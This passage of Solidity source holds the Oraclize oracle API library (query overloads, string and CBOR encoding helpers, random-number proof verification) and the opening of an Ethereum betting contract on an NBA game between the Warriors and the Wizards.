OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1;
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){
bool match_ = true;
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
throw;
}
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract nbagame is usingOraclize {
address owner;
address public creator = 0x0161C8d35f0B603c7552017fe9642523f70d7B6A;
address public currentOwner = 0x0161C8d35f0B603c7552017fe9642523f70d7B6A;
uint8 public constant NUM_TEAMS = 2;
string[NUM_TEAMS] public TEAM_NAMES = ["Golden State Warriors", "Washington Wizards"];
enum TeamType { GSWarriors, WWizards, None }
TeamType public winningTeam = TeamType.None;
uint public constant TOTAL_POOL_COMMISSION = 10;
uint public constant EARLY_BET_INCENTIVE_COMMISSION = 4;
uint public constant OWNER_POOL_COMMISSION = 6;
uint public constant MINIMUM_BET = 0.01 ether;
uint public constant BETTING_OPENS = 1519599600;
uint public constant BETTING_CLOSES = 1519866300;
uint public constant PAYOUT_ATTEMPT_INTERVAL = 64800;
uint public constant BET_RELEASE_DATE = 1520039100;
uint public constant PAYOUT_DATE = BETTING_CLOSES + PAYOUT_ATTEMPT_INTERVAL;
uint public constant STAGE_ONE_BET_LIMIT = 0.2 ether;
